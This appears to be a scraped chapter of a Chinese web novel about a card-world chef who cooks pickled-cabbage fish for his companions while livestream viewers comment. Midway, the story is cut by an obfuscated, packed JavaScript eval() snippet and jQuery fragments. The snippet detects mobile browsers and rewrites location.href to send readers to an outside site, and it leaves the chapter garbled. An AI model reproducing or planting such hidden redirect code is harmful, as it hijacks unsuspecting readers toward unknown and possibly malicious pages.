33.望眼欲穿的酸菜鱼
作品:《谁的卡册是菜谱》 洛淮疏准备先处理鱼片。
戚寒松别的不说,鱼处理地非常精细。他片出来的鱼肉晶莹剔透,仿佛雨后花瓣变得透亮的山荷叶,清新脱俗,让人一眼惊叹。
看到摆盘完美的鱼肉后,弹幕不禁都文艺了起来。
洛淮疏表情一如既往的温润雅致,手上却风驰电掣地将鱼肉团起,“啪”地丢进碗里。同样被一起丢进去的,还有盐、胡椒粉,葱姜水,蛋清和淀粉。
【刚刚好像有什么东西,从我眼前飞了过去……】
洛淮疏眼都不眨一下,洗干净的手探入碗中将这一堆东西抓拌在一起,再快速搅打上劲。
一旁,临渚将手从应文耀抱回来的罐子口里拿出。
琳琅找了个机会,落在临渚的手背上。小家伙弯着圆鼓鼓的小肚皮,低头带着好奇往黑洞洞的罐子里看。
一股刺激到鼻子酸软的味道,直冲上脸!
琳琅小身子一颤,打了个喷嚏。没想到脚下打滑,差点没以一个倒栽葱的姿势,掉进罐子里。
洛淮疏和临渚惊地齐齐伸手,但有别灵比他们更快!
两道黑色的细线,咻地从突然出现的小煤球甩出。一个卡星星脑袋,一个掐星星肚皮,将一颗吓到膨胀的小星星举了起来。
琳琅:“咕吖!”
再来一次咕!
洛淮疏用干净的那只手,轻轻点了点还想再来一次的琳琅,制止了“嚣张”的小卡灵。
不一会儿,临渚将从陶罐里捞出来,又淘洗过很多遍的东西递给洛淮疏——竟然是酸菜!
经过腌制发酵过的蔬菜,没有新鲜时颜色喜人。从根部到叶子,呈现出淡黄色至深黄褐色的转变。尽管如此,它吃起来依旧酸脆鲜嫩,令人口齿生津。
洛淮疏想要吃辣,但又不想仅仅只吃辣。
酸菜的酸爽,鱼类的鲜嫩,搭配上干辣椒的干香……这时候,一道酸辣可口,超级下饭的酸菜鱼就非常合适!
洛淮疏喜欢先将鱼骨鱼头简单煎炸一下,而后盛出备用。接着就是酸菜鱼中必不可少、最为灵魂的配菜。
另起一个干净的锅,将姜末,蒜片,干辣椒配切好的酸菜炒出香味。
“呲——”
酸菜鱼配菜的香味,可比菠萝咕咾肉和锅包肉霸道的多。
鼻翼不自主地翕动,视线也像是被一股无形的力量牵动,只能直愣愣地盯着锅里红红绿绿、十分好看的酸菜。
【吸溜!吸溜,斯哈斯哈!】
【这么香,能不能先让我吃亿口?(各个角度试图啃手环)】
琳琅悄悄伸爪.JPG
小煤球挪动一步,压住同样蠢蠢欲动的小星星。
洛淮疏不知道有群馋疯了的人,试图空口吃配菜。他没有读心术,听不到有人在撕心裂肺地挽留。
于是,做饭时经常“两耳不闻窗外事”的洛大厨,肃着一张脸,哐当一下,毫不留情地将煎过的鱼头鱼骨倒进锅里。
弹幕上顿时哀嚎一片。
琳琅也生无可恋地翻身,怏怏地将挪开的小煤球压倒。
记仇.JPG
简单翻炒到食材味道互相融入彼此,洛淮疏偏头喊了一下身侧的人。
备好开水的临渚,默契且迅速地将清水加到锅子里。
随着时间的推移,锅里翻滚的汤水变成漂亮的奶白色。此时,就可以加入常规的调味料调味了。
浅尝一口,鱼汤鲜而不腥,酸菜酸爽回味。酸菜鱼的美味,如缓缓绽放的花朵,正逐步展现出独属于它的魅力!
到这还没完。
锅里让弹幕嗷嗷叫的配菜先捞出,铺到一只大碗碗底。
腌制好的鱼片丢进鱼汤中快速烫熟。时间不用太久,需要在鱼肉煮熟的同时,保有滑嫩鲜美的口感,洛淮疏把握地很好。
嫩生生的鱼片同样装盘,浇上奶白的浓汤。鱼片被带动在汤水中浮沉,宛如一尾尾活泼的小白鱼。
【啊啊啊!好了没好了没?!】
洛大厨在众人望眼欲穿的眼神中,往碗中心洒了一把葱花和白芝麻,最后将炸了干辣椒圈和花椒的热油扑了上去!
“呲呲呲——”
油爆声音响起,热气蒸腾,满屋飘香。所有人的心里,同样咕嘟咕嘟冒起了小气泡。
洛淮疏点头,“开饭了!”
小气泡一下子膨胀到无限大,接着像焰火一样炸开。欣喜如同小火花一样飞溅,瞬间点燃了小厨房里的氛围。
琳琅举爪,举小煤球的黑线手一起蹦跳:“咕哒!”
林星晖跳起来,笑得像朵喇叭花,“啊哈,终于等到你!”
应文耀表面上还是白眼+撇嘴两件套,但手里的刀叉已经诚实地举了起来。
戚寒松异于常人。
他一脸欣慰,满意地反复观看酸菜鱼,眼里柔情似水。
“太棒了太棒了!如此完美的处理方式,我一定会好好给它一个归宿的。”
至于什么归宿?当然是他的肠胃。
临渚将之前的两菜一汤从做饭机器里拿出,摆在桌子上。等洛淮疏端着酸菜鱼走过来后,贴心地为他拉开椅子,又递上一碗米饭。
洛淮疏不好意思地抿唇笑了一下,坐下后,拉了拉还站着的临渚的衣角。
临渚顺势坐在了他的旁边。
但等到洛淮疏筷子都拿上了手,也没见背对着他的高大青年回头。
洛淮疏:?
他疑惑地从临渚背后探出脑袋,往他注视的方向看了一眼。
一位男性长官,正架着胳膊不知道在门口看了多久。巧的是,那人不是别人,正是集合时,给了他们新人卡牌师群体下马威的领头长官。
在他的身后,一排透明的窗户上,密密麻麻挤满了年轻的面孔。他们的长相各不相同,唯一能一眼看出来的共同点,就是炙热又渴望的眼神。
嗯,能盯穿桌面那种。
洛淮疏:“……”
啊,被发现了。
意识到这一点,解宣非但没有紧张尴尬,反而大踏步地走到桌子前,拉开凳子直接坐了下来。
他侧首,妹妹解嫣嘴里喻队的弟弟,正冷凝着一双黑沉沉不见光的眼睛盯着他。
明明年纪不大,浑身的气势却吓人得很。解宣舔了舔上牙,轻“啧”了一声。
是个不好惹的狼崽子,不愧是喻队的大外甥。
不过,他虽然脾气不好,能混到今天的位置,眼力见还是有一点的。
解宣当即掠过著名倒霉大外甥,偏头看向他身侧气质温和的少年。
啧,这个也不简单。
UR浮生若梦卡牌的现任卡主啊……
“你好,解宣。”
他介绍自己道,“饭时路过这里被香味吸引来了,方便加我一号人吃饭吗?”
视线余光中,临渚脸黑得更甚。解宣却挑眉笑得灿烂,面对洛淮疏给自己加码,“这里我混得还不错,得我个人情不会亏的,怎么样?”
洛淮疏倒不在意什么人情,一切欣赏喜爱美食的人,没有哪个厨师会不欢迎。
今天虽然只有三菜一汤,但其实个个分量不小,加一双筷子没有问题。只是,这事一旦开了口子,那些门外面的人……
解宣看到了洛淮疏眼里的犹豫,龇牙笑。他随意地一挥手,一股带着寒意的风“啪”地把门关上。
毫不掩饰的巨响代表着警告,门前围着的一圈人一哄而散。再不舍也只能离开,继续啃自己没滋没味的餐食,嗐……
解宣笑眯眯地再次礼貌询问:“可以吗?”
众人:“……”
弹幕一片冷笑讥讽:【你都这样了,谁还能说不……】
**
水果和肉类的搭配,卡牌世界之前也不是没有。但无一例外,都以各式各样的姿势翻车了。
虽然菠萝咕咾肉色泽明艳动人,虽然它的水果与肉类搭配并不让人感受到割裂,虽然它酸甜中又带着清新的果香……
在看到这盘菜的那一刻,所有人的心理写照都是:
心有戚戚焉,然心戚戚矣。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841735|158504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“咔嚓。”
一声酥脆的声音响起,突兀又抓耳。
还在犹豫着先朝哪盘菜“下手”的几人,齐刷刷转头。
临渚一侧脸颊微鼓。配着那张恣意散漫的脸,不见可爱,反倒更显桀骜难驯。他察觉到旁人的视线,冷淡地斜了他们一眼。
林/戚/解/应:心虚目移.JPG
洛淮疏听着耳边咔嚓咔嚓不断的咀嚼声,忽然明白了为什么那么多人喜欢看吃播。他心情很好地使用桌子上唯二的筷子,也给自己夹了一块咕咾肉。
【好脆,好香的感觉……(流口水)】
其他四人猛地回神,手上的刀叉愣是在餐桌上挥舞出了“刀光剑影”。
和小煤球一起拥有单独小饭桌上的琳琅:咕噗?
菠萝咕咾肉和锅包肉,入口舌尖先品尝到了酱汁的酸甜。一个果香味浓郁,一个平平淡淡才是真,类似又不完全一样。
再一口,是面粉炸出来的酥壳。油炸的味道混合着面粉的香气,不禁让人放下戒心和试探,想要继续咬下去。
酥壳咬开,菠萝咕咾肉的肉质要更嫩,肉粒里含着充沛的汁水让人眼前一亮。锅包肉则更有韧性和咬劲,让人嚼着嚼着越发停不下来。
当然,最绝的还属鲜香麻辣,又酸又开胃的酸菜鱼!
炒过的酸菜,口感脆生,酸香中带着丝丝缕缕的辣,极为上头!鱼片白白嫩嫩,软滑到入口即化,吃一口意犹未尽。再一口,再亿口,撑到肚圆都舍不得停下来。
“唔唔唔!”
所有人嘴巴不停,不住朝洛淮疏点头。
眼睛忙碌着盯菜碗,手忙碌着抢菜。洛淮疏瞧着都来不及多看他两眼的几人,捧着碗眉眼弯弯,眼波流转间透满是温润的灵动。
临渚缓缓收回视线,将手边从“饿狼”堆里抢出来的菜,往乖乖扒饭的小厨师面前推了推。
洛淮疏将碟子推到两人中间,示意一起吃。接着,他将一早分出来、装在小碗的豆腐蛋花汤,伸手递给了临渚。
其他人的?
喏,桌子中心的汤碗里就是。
饭前还是饭后,趁热喝还是放凉了喝,都请随意。
【呜呜呜呜呜呜……】这是另外一群人的伤心欲绝。
【汤都不给我留一口,汤都不给我留一口,哇!(破防大哭)】
……
“嗝——”
这是饭后最直白的反馈。
解宣将最后一口汤喝掉,畅快地舒了一口气。
往常一日两三餐,对他来说更多像是完成任务。头一次,解宣感受到了吃饭的乐趣。
吃饭竟然也能这样?
他摇晃着身体,心情极好。
既然心情好,那么……
“作为回报,晚上回去查看一下手环吧,小厨师。”
洛淮疏正观察着肚皮圆圆,躺在桌面上累瘫,五只小角可以不着地的自家贪吃琳琅。
闻言,他缓缓收回嘴边挂着的微笑,抬眼看向已经站起身的人。
黑发黑眼的青年即使面无表情,依旧漂亮地像一尊玉人。解宣心痒痒地准备再欺负欺负小孩,但嘴还没来得及张开,一道无法忽视的刺骨寒意从一旁袭过来。
解宣:“……”
不用看也知道是谁。
他一言难尽地闭上嘴巴,重新组织了一下语言。
“你和你身边这群家伙正在查的事情,都歇了心思停一停吧。”
东倒西歪坐在座位上的戚寒松,顿时坐直身体,眼神中寒光泠泠。
无论平时再怎么荒唐也好,不着调也好,此时的三人谁也不会怀疑他们的大家族出身。
解宣懒得瞧他们一眼,反而眼神深深地看向洛淮疏。
一个看似弱小,但正逐渐成为他们小团队真正核心的年轻人。
“在星燎中一直走下去吧。”
“等你走到最终环,一切都会向你展开……”
想要寻找的人,想要了解的过去,与所有人生死捆绑的未来……一切都不再成为秘密。